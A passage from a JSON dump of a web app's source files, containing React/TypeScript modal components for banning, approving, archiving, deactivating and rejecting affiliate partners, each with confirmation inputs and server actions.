className=\"size-10 bg-white\" />\n              <div className=\"flex min-w-0 flex-col\">\n                <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                  {partner.name}\n                </h4>\n                <p className=\"truncate text-xs text-neutral-500\">\n                  {partner.email}\n                </p>\n              </div>\n            </div>\n          </div>\n\n          <p className=\"text-sm text-neutral-600\">\n            This will permanently ban the partner, disable all their active\n            links, and cancel all pending payouts. This action is not\n            reversible.\n          </p>\n\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              Ban reason\n            </label>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <select\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.reason && \"border-red-600\",\n                )}\n                {...register(\"reason\", {\n                  required: true,\n                })}\n              >\n                <option value=\"\" disabled>\n                  Select a reason\n                </option>\n                {Object.entries(BAN_PARTNER_REASONS).map(([key, value]) => (\n                  <option value={key} key={key}>\n                    {value}\n                  </option>\n                ))}\n              </select>\n            </div>\n          </div>\n\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              To verify, type <strong>confirm ban partner</strong> below\n            </label>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <input\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.confirm && \"border-red-600\",\n                )}\n                placeholder=\"confirm ban partner\"\n                type=\"text\"\n                autoComplete=\"off\"\n                {...register(\"confirm\", {\n                  required: true,\n                })}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n          <Button\n            onClick={() => setShowBanPartnerModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            type=\"submit\"\n            variant=\"danger\"\n            text=\"Ban partner\"\n            disabled={isDisabled}\n            loading={isPending || isSubmitting || isSubmitSuccessful}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useBanPartnerModal({\n  partner,\n  onConfirm,\n}: {\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n  onConfirm?: () => Promise<void>;\n}) {\n  const [showBanPartnerModal, setShowBanPartnerModal] = useState(false);\n\n  const BanPartnerModalCallback = useCallback(() => {\n    return (\n      <BanPartnerModal\n        showBanPartnerModal={showBanPartnerModal}\n        setShowBanPartnerModal={setShowBanPartnerModal}\n        partner={partner}\n        onConfirm={onConfirm}\n      />\n    );\n  }, [showBanPartnerModal, setShowBanPartnerModal, partner, onConfirm]);\n\n  return useMemo(\n    () => ({\n      setShowBanPartnerModal,\n      BanPartnerModal: BanPartnerModalCallback,\n    }),\n    [setShowBanPartnerModal, BanPartnerModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/bulk-approve-partners-modal.tsx",
    "content": "import { bulkApprovePartnersAction } from \"@/lib/actions/partners/bulk-approve-partners\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { GroupSelector } from \"@/ui/partners/groups/group-selector\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn, pluralize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction BulkApprovePartnersModal({\n  showBulkApprovePartnersModal,\n  setShowBulkApprovePartnersModal,\n  partners,\n}: {\n  showBulkApprovePartnersModal: boolean;\n  setShowBulkApprovePartnersModal: Dispatch<SetStateAction<boolean>>;\n  partners: EnrolledPartnerProps[];\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { program } = useProgram();\n\n  const [selectedGroupId, setSelectedGroupId] = useState<string | null>(\n    program?.defaultGroupId ?? null,\n  );\n\n  const { executeAsync, isPending } = useAction(bulkApprovePartnersAction, {\n    onSuccess: async () => {\n      setShowBulkApprovePartnersModal(false);\n      await mutatePrefix(\"/api/partners\");\n      toast.success(`${pluralize(\"Partner\", partners.length)} approved.`);\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const handleBulkApprove = async () => {\n    const partnerIds = partners.map((p) => p.id);\n\n    if (!workspaceId || partnerIds.length === 0) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      partnerIds,\n      groupId: selectedGroupId,\n    });\n  };\n\n  return (\n    <Modal\n      showModal={showBulkApprovePartnersModal}\n      setShowModal={setShowBulkApprovePartnersModal}\n    >\n      <div className=\"space-y-1 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-semibold leading-none\">\n          Approve {pluralize(\"application\", partners.length)}\n        </h3>\n\n        <p className=\"text-content-subtle text-base font-medium\">\n          Are you sure you want to approve{\" \"}\n          {pluralize(\"this application\", partners.length, {\n            plural: \"these applications\",\n          })}\n          ?\n        </p>\n      </div>\n\n      <div className=\"space-y-6 bg-neutral-50 p-4 sm:p-6\">\n        <div className=\"flex items-center gap-3 rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n          <div className=\"flex items-center\">\n            {partners.slice(0, 3).map((partner, index) => (\n              <PartnerAvatar\n                key={partner.id}\n                partner={partner}\n                className={cn(\n                  \"inline-block size-7 border-2 border-neutral-100\",\n                  index > 0 && \"-ml-2.5\",\n                )}\n              />\n            ))}\n          </div>\n          <span className=\"text-base font-semibold text-neutral-900\">\n            {partners.length} {pluralize(\"partner\", partners.length)} selected\n          </span>\n        </div>\n\n        <div className=\"grid grid-cols-1 gap-6\">\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              Assign all to group{\" \"}\n            </label>\n\n            <div className=\"relative mt-2 rounded-md shadow-sm\">\n              <GroupSelector\n                selectedGroupId={selectedGroupId}\n                setSelectedGroupId={setSelectedGroupId}\n              />\n            </div>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n        <Button\n          onClick={() => setShowBulkApprovePartnersModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          onClick={handleBulkApprove}\n          autoFocus\n          loading={isPending}\n          text=\"Approve\"\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useBulkApprovePartnersModal({\n  partners,\n}: {\n  partners: EnrolledPartnerProps[];\n}) {\n  const [showBulkApprovePartnersModal, setShowBulkApprovePartnersModal] =\n    useState(false);\n\n  const BulkApprovePartnersModalCallback = useCallback(() => {\n    return (\n      <BulkApprovePartnersModal\n        showBulkApprovePartnersModal={showBulkApprovePartnersModal}\n        setShowBulkApprovePartnersModal={setShowBulkApprovePartnersModal}\n        partners={partners}\n      />\n    );\n  }, [showBulkApprovePartnersModal, setShowBulkApprovePartnersModal, partners]);\n\n  return useMemo(\n    () => ({\n      setShowBulkApprovePartnersModal,\n      BulkApprovePartnersModal: BulkApprovePartnersModalCallback,\n    }),\n    [setShowBulkApprovePartnersModal, BulkApprovePartnersModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/bulk-archive-partners-modal.tsx",
    "content": "import { bulkArchivePartnersAction } from \"@/lib/actions/partners/bulk-archive-partners\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn, pluralize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\ninterface BulkArchivePartnersProps {\n  showBulkArchivePartnersModal: boolean;\n  setShowBulkArchivePartnersModal: Dispatch<SetStateAction<boolean>>;\n  partners: Pick<EnrolledPartnerProps, \"id\" | \"name\" | \"image\" | \"email\">[];\n  onConfirm?: () => Promise<void>;\n}\n\nfunction BulkArchivePartnersModal({\n  showBulkArchivePartnersModal,\n  setShowBulkArchivePartnersModal,\n  partners,\n  onConfirm,\n}: BulkArchivePartnersProps) {\n  const { id: workspaceId } = useWorkspace();\n\n  const partnerWord = pluralize(\"partner\", partners.length);\n\n  const { executeAsync, isPending } = useAction(bulkArchivePartnersAction, {\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const handleArchive = useCallback(async () => {\n    if (!workspaceId || partners.length === 0) {\n      return;\n    }\n\n    const result = await executeAsync({\n      workspaceId,\n      partnerIds: partners.map((p) => p.id),\n    });\n\n    if (result?.serverError) {\n      return;\n    }\n\n    setShowBulkArchivePartnersModal(false);\n    await onConfirm?.();\n    toast.success(`${partners.length} ${partnerWord} archived successfully!`);\n  }, [\n    executeAsync,\n    partners,\n    workspaceId,\n    setShowBulkArchivePartnersModal,\n    onConfirm,\n    partnerWord,\n  ]);\n\n  const isDisabled = useMemo(() => {\n    return !workspaceId || partners.length === 0;\n  }, [workspaceId, partners.length]);\n\n  return (\n    <Modal\n      showModal={showBulkArchivePartnersModal}\n      setShowModal={setShowBulkArchivePartnersModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Archive {partnerWord}\n        </h3>\n      </div>\n\n      <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n        <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n          {partners.length === 1 ? (\n            <div className=\"flex items-center gap-4\">\n              <PartnerAvatar\n                partner={partners[0]}\n                className=\"size-10 bg-white\"\n              />\n              <div className=\"flex min-w-0 flex-col\">\n                <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                  {partners[0].name}\n                </h4>\n                {partners[0].email && (\n                  <p className=\"truncate text-xs text-neutral-500\">\n                    {partners[0].email}\n                  </p>\n                )}\n              </div>\n            </div>\n          ) : (\n            <div className=\"flex items-center gap-3\">\n              <div className=\"flex items-center\">\n                {partners.slice(0, 3).map((partner, index) => (\n                  <PartnerAvatar\n                    key={partner.id}\n                    partner={partner}\n                    className={cn(\n                      \"inline-block size-7 border-2 border-neutral-100 bg-white\",\n                      index > 0 && \"-ml-2.5\",\n                    )}\n                  />\n                ))}\n              </div>\n              <span className=\"text-base font-semibold text-neutral-900\">\n                {partners.length} partners selected\n              </span>\n            </div>\n          )}\n        </div>\n\n        <p className=\"text-sm text-neutral-600\">\n          This will hide the {partnerWord} from your partners list. All their\n          links will still work, and they will still earn commissions.\n        </p>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n        <Button\n          onClick={() => setShowBulkArchivePartnersModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          onClick={handleArchive}\n          autoFocus\n          disabled={isDisabled}\n          loading={isPending}\n          text={`Archive ${partnerWord}`}\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useBulkArchivePartnersModal({\n  partners,\n  onConfirm,\n}: {\n  partners: Pick<EnrolledPartnerProps, \"id\" | \"name\" | \"image\" | \"email\">[];\n  onConfirm?: () => Promise<void>;\n}) {\n  const [showBulkArchivePartnersModal, setShowBulkArchivePartnersModal] =\n    useState(false);\n\n  const BulkArchivePartnersModalCallback = useCallback(() => {\n    return (\n      <BulkArchivePartnersModal\n        showBulkArchivePartnersModal={showBulkArchivePartnersModal}\n        setShowBulkArchivePartnersModal={setShowBulkArchivePartnersModal}\n        partners={partners}\n        onConfirm={onConfirm}\n      />\n    );\n  }, [\n    showBulkArchivePartnersModal,\n    setShowBulkArchivePartnersModal,\n    partners,\n    onConfirm,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowBulkArchivePartnersModal,\n      BulkArchivePartnersModal: BulkArchivePartnersModalCallback,\n    }),\n    [setShowBulkArchivePartnersModal, BulkArchivePartnersModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/bulk-ban-partners-modal.tsx",
    "content": "import { bulkBanPartnersAction } from \"@/lib/actions/partners/bulk-ban-partners\";\nimport { bulkRejectPartnerApplicationsAction } from \"@/lib/actions/partners/bulk-reject-partner-applications\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport {\n  BAN_PARTNER_REASONS,\n  bulkBanPartnersSchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn, pluralize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype BulkBanPartnersFormData = z.infer<typeof bulkBanPartnersSchema> & {\n  confirm: string;\n};\n\ninterface BulkBanPartnersProps {\n  showBulkBanPartnersModal: boolean;\n  setShowBulkBanPartnersModal: Dispatch<SetStateAction<boolean>>;\n  partners: Pick<\n    EnrolledPartnerProps,\n    \"id\" | \"name\" | \"image\" | \"email\" | \"status\"\n  >[];\n  onConfirm?: () => Promise<void>;\n}\n\nfunction BulkBanPartnersModal({\n  showBulkBanPartnersModal,\n  setShowBulkBanPartnersModal,\n  partners,\n  onConfirm,\n}: BulkBanPartnersProps) {\n  const { id: workspaceId } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<BulkBanPartnersFormData>({\n    defaultValues: {\n      reason: \"tos_violation\",\n      confirm: \"\",\n    },\n  });\n\n  const [confirm] = watch([\"confirm\"]);\n\n  const partnerWord = pluralize(\"partner\", partners.length);\n  const confirmationText = `confirm ban ${partnerWord}`;\n\n  const { executeAsync: executeBan, isPending: isPendingBan } = useAction(\n    bulkBanPartnersAction,\n    {\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const { executeAsync: executeReject, isPending: isPendingReject } = useAction(\n    bulkRejectPartnerApplicationsAction,\n    {\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const isPending = isPendingBan || isPendingReject;\n\n  const onSubmit = useCallback(\n    async (data: BulkBanPartnersFormData) => {\n      if (!workspaceId || partners.length === 0) {\n        return;\n      }\n\n      // Group partners by status\n      const pendingPartners = partners.filter((p) => p.status === \"pending\");\n      const approvedPartners = partners.filter((p) => p.status !== \"pending\");\n\n      // Execute both actions in parallel\n      const results = await Promise.all([\n        approvedPartners.length > 0\n          ? executeBan({\n              workspaceId,\n              partnerIds: approvedPartners.map((p) => p.id),\n              reason: data.reason,\n            })\n          : Promise.resolve(null),\n\n        pendingPartners.length > 0\n          ? executeReject({\n              workspaceId,\n              partnerIds: pendingPartners.map((p) => p.id),\n              reportFraud: false,\n            })\n          : Promise.resolve(null),\n      ]);\n\n      const hasError = results.some((r) => r?.serverError);\n\n      if (hasError) {\n        return;\n      }\n\n      // Create a success message\n      const approvedCount = approvedPartners.length;\n      const pendingCount = pendingPartners.length;\n\n      let message: string;\n\n      if (approvedCount > 0 && pendingCount > 0) {\n        message = `${approvedCount} ${pluralize(\"partner\", approvedCount)} banned and ${pendingCount} ${pluralize(\"application\", pendingCount)} rejected successfully!`;\n      } else if (approvedCount > 0) {\n        message = `${approvedCount} ${pluralize(\"partner\", approvedCount)} banned successfully!`;\n      } else {\n        message = `${pendingCount} partner ${pluralize(\"application\", pendingCount)} rejected successfully!`;\n      }\n\n      setShowBulkBanPartnersModal(false);\n      await onConfirm?.();\n      toast.success(message);\n    },\n    [\n      executeBan,\n      executeReject,\n      partners,\n      workspaceId,\n      setShowBulkBanPartnersModal,\n      onConfirm,\n    ],\n  );\n\n  const isDisabled = useMemo(() => {\n    return (\n      !workspaceId || partners.length === 0 || confirm !== confirmationText\n    );\n  }, [workspaceId, partners.length, confirm, confirmationText]);\n\n  return (\n    <Modal\n      showModal={showBulkBanPartnersModal}\n      setShowModal={setShowBulkBanPartnersModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Ban {partnerWord}</h3>\n      </div>\n\n      <form onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n            {partners.length === 1 ? (\n              <div className=\"flex items-center gap-4\">\n                <PartnerAvatar\n                  partner={partners[0]}\n                  className=\"size-10 bg-white\"\n                />\n                <div className=\"flex min-w-0 flex-col\">\n                  <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                    {partners[0].name}\n                  </h4>\n                  {partners[0].email && (\n                    <p className=\"truncate text-xs text-neutral-500\">\n                      {partners[0].email}\n                    </p>\n                  )}\n                </div>\n              </div>\n            ) : (\n              <div className=\"flex items-center gap-3\">\n                <div className=\"flex items-center\">\n                  {partners.slice(0, 3).map((partner, index) => (\n                    <PartnerAvatar\n                      key={partner.id}\n                      partner={partner}\n                      className={cn(\n                        \"inline-block size-7 border-2 border-neutral-100 bg-white\",\n                        index > 0 && \"-ml-2.5\",\n                      )}\n                    />\n                  ))}\n                </div>\n                <span className=\"text-base font-semibold text-neutral-900\">\n                  {partners.length} partners selected\n                </span>\n              </div>\n            )}\n          </div>\n\n          <p className=\"text-sm text-neutral-600\">\n            This will permanently ban the {partnerWord}, disable all their\n            active links, and cancel all pending payouts. This action is not\n            reversible.\n          </p>\n\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              Ban reason\n            </label>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <select\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.reason && \"border-red-600\",\n                )}\n                {...register(\"reason\", {\n                  required: true,\n                })}\n              >\n                <option value=\"\" disabled>\n                  Select a reason\n                </option>\n                {Object.entries(BAN_PARTNER_REASONS).map(([key, value]) => (\n                  <option value={key} key={key}>\n                    {value}\n                  </option>\n                ))}\n              </select>\n            </div>\n          </div>\n\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              To verify, type <strong>{confirmationText}</strong> below\n            </label>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <input\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.confirm && \"border-red-600\",\n                )}\n                placeholder={confirmationText}\n                type=\"text\"\n                autoComplete=\"off\"\n                {...register(\"confirm\", {\n                  required: true,\n                })}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n          <Button\n            onClick={() => setShowBulkBanPartnersModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            type=\"submit\"\n            variant=\"danger\"\n            text={`Ban ${partnerWord}`}\n            disabled={isDisabled}\n            loading={isPending || isSubmitting || isSubmitSuccessful}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useBulkBanPartnersModal({\n  partners,\n  onConfirm,\n}: {\n  partners: Pick<\n    EnrolledPartnerProps,\n    \"id\" | \"name\" | \"image\" | \"email\" | \"status\"\n  >[];\n  onConfirm?: () => Promise<void>;\n}) {\n  const [showBulkBanPartnersModal, setShowBulkBanPartnersModal] =\n    useState(false);\n\n  const BulkBanPartnersModalCallback = useCallback(() => {\n    return (\n      <BulkBanPartnersModal\n        showBulkBanPartnersModal={showBulkBanPartnersModal}\n        setShowBulkBanPartnersModal={setShowBulkBanPartnersModal}\n        partners={partners}\n        onConfirm={onConfirm}\n      />\n    );\n  }, [\n    showBulkBanPartnersModal,\n    setShowBulkBanPartnersModal,\n    partners,\n    onConfirm,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowBulkBanPartnersModal,\n      BulkBanPartnersModal: BulkBanPartnersModalCallback,\n    }),\n    [setShowBulkBanPartnersModal, BulkBanPartnersModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/bulk-deactivate-partners-modal.tsx",
    "content": "import { bulkDeactivatePartnersAction } from \"@/lib/actions/partners/bulk-deactivate-partners\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn, pluralize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ntype BulkDeactivatePartnersFormData = {\n  confirm: string;\n};\n\ninterface BulkDeactivatePartnersProps {\n  showBulkDeactivatePartnersModal: boolean;\n  setShowBulkDeactivatePartnersModal: Dispatch<SetStateAction<boolean>>;\n  partners: Pick<EnrolledPartnerProps, \"id\" | \"name\" | \"image\" | \"email\">[];\n  onConfirm?: () => Promise<void>;\n}\n\nfunction BulkDeactivatePartnersModal({\n  showBulkDeactivatePartnersModal,\n  setShowBulkDeactivatePartnersModal,\n  partners,\n  onConfirm,\n}: BulkDeactivatePartnersProps) {\n  const { id: workspaceId } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    reset,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<BulkDeactivatePartnersFormData>({\n    defaultValues: {\n      confirm: \"\",\n    },\n  });\n\n  const [confirm] = watch([\"confirm\"]);\n\n  const partnerWord = pluralize(\"partner\", partners.length);\n  const confirmationText = `confirm deactivate ${partnerWord}`;\n\n  const { executeAsync, isPending } = useAction(bulkDeactivatePartnersAction, {\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = useCallback(async () => {\n    if (!workspaceId || partners.length === 0) {\n      return;\n    }\n\n    const result = await executeAsync({\n      workspaceId,\n      partnerIds: partners.map((p) => p.id),\n    });\n\n    if (result?.serverError) {\n      return;\n    }\n\n    setShowBulkDeactivatePartnersModal(false);\n    reset({ confirm: \"\" });\n    await onConfirm?.();\n    toast.success(\n      `${partners.length} ${partnerWord} deactivated successfully!`,\n    );\n  }, [\n    executeAsync,\n    partners,\n    workspaceId,\n    setShowBulkDeactivatePartnersModal,\n    reset,\n    onConfirm,\n    partnerWord,\n  ]);\n\n  const isDisabled = useMemo(() => {\n    return (\n      !workspaceId || partners.length === 0 || confirm !== confirmationText\n    );\n  }, [workspaceId, partners.length, confirm, confirmationText]);\n\n  return (\n    <Modal\n      showModal={showBulkDeactivatePartnersModal}\n      setShowModal={setShowBulkDeactivatePartnersModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Deactivate {partnerWord}\n        </h3>\n      </div>\n\n      <form onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n            {partners.length === 1 ? (\n              <div className=\"flex items-center gap-4\">\n                <PartnerAvatar\n                  partner={partners[0]}\n                  className=\"size-10 bg-white\"\n                />\n                <div className=\"flex min-w-0 flex-col\">\n                  <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                    {partners[0].name}\n                  </h4>\n                  {partners[0].email && (\n                    <p className=\"truncate text-xs text-neutral-500\">\n                      {partners[0].email}\n                    </p>\n                  )}\n                </div>\n              </div>\n            ) : (\n              <div className=\"flex items-center gap-3\">\n                <div className=\"flex items-center\">\n                  {partners.slice(0, 3).map((partner, index) => (\n                    <PartnerAvatar\n                      key={partner.id}\n                      partner={partner}\n                      className={cn(\n                        \"inline-block size-7 border-2 border-neutral-100 bg-white\",\n                        index > 0 && \"-ml-2.5\",\n                      )}\n                    />\n                  ))}\n                </div>\n                <span className=\"text-base font-semibold text-neutral-900\">\n                  {partners.length} partners selected\n                </span>\n              </div>\n            )}\n          </div>\n\n          <p className=\"text-sm text-neutral-600\">\n            This will deactivate the {partnerWord} and disable all their active\n            links. Their commissions and payouts will remain intact. You can\n            reactivate them later if needed.\n          </p>\n\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              To verify, type <strong>{confirmationText}</strong> below\n            </label>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <input\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.confirm && \"border-red-600\",\n                )}\n                placeholder={confirmationText}\n                type=\"text\"\n                autoComplete=\"off\"\n                {...register(\"confirm\", {\n                  required: true,\n                })}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n          <Button\n            onClick={() => {\n              setShowBulkDeactivatePartnersModal(false);\n              reset({ confirm: \"\" });\n            }}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            type=\"submit\"\n            variant=\"danger\"\n            text={`Deactivate ${partnerWord}`}\n            disabled={isDisabled}\n            loading={isPending || isSubmitting || isSubmitSuccessful}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useBulkDeactivatePartnersModal({\n  partners,\n  onConfirm,\n}: {\n  partners: Pick<EnrolledPartnerProps, \"id\" | \"name\" | \"image\" | \"email\">[];\n  onConfirm?: () => Promise<void>;\n}) {\n  const [showBulkDeactivatePartnersModal, setShowBulkDeactivatePartnersModal] =\n    useState(false);\n\n  const BulkDeactivatePartnersModalCallback = useCallback(() => {\n    return (\n      <BulkDeactivatePartnersModal\n        showBulkDeactivatePartnersModal={showBulkDeactivatePartnersModal}\n        setShowBulkDeactivatePartnersModal={setShowBulkDeactivatePartnersModal}\n        partners={partners}\n        onConfirm={onConfirm}\n      />\n    );\n  }, [\n    showBulkDeactivatePartnersModal,\n    setShowBulkDeactivatePartnersModal,\n    partners,\n    onConfirm,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowBulkDeactivatePartnersModal,\n      BulkDeactivatePartnersModal: BulkDeactivatePartnersModalCallback,\n    }),\n    [setShowBulkDeactivatePartnersModal, BulkDeactivatePartnersModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/bulk-reject-partners-modal.tsx",
    "content": "import { bulkRejectPartnerApplicationsAction } from \"@/lib/actions/partners/bulk-reject-partner-applications\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Checkbox, Modal } from \"@dub/ui\";\nimport { cn, pluralize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction BulkRejectPartnersModal({\n  showBulkRejectPartnersModal,\n  setShowBulkRejectPartnersModal,\n  partners,\n}: {\n  showBulkRejectPartnersModal: boolean;\n  setShowBulkRejectPartnersModal: Dispatch<SetStateAction<boolean>>;\n  partners: EnrolledPartnerProps[];\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const [reportFraud, setReportFraud] = useState(false);\n\n  const { executeAsync, isPending } = useAction(\n    bulkRejectPartnerApplicationsAction,\n    {\n      onSuccess: async () => {\n        setShowBulkRejectPartnersModal(false);\n        setReportFraud(false);\n        await mutatePrefix([\"/api/partners\", \"/api/partners/count\"]);\n        toast.success(`${pluralize(\"Partner\", partners.length)} rejected.`);\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const handleBulkReject = async () => {\n    const partnerIds = partners.map((p) => p.id);\n\n    if (!workspaceId || partnerIds.length === 0) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      partnerIds,\n      reportFraud,\n    });\n  };\n\n  const handleClose = useCallback(() => {\n    setShowBulkRejectPartnersModal(false);\n    setReportFraud(false);\n  }, [setShowBulkRejectPartnersModal]);\n\n  return (\n    <Modal\n      showModal={showBulkRejectPartnersModal}\n      setShowModal={setShowBulkRejectPartnersModal}\n      onClose={handleClose}\n    >\n      <div className=\"space-y-1 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-semibold leading-none\">\n          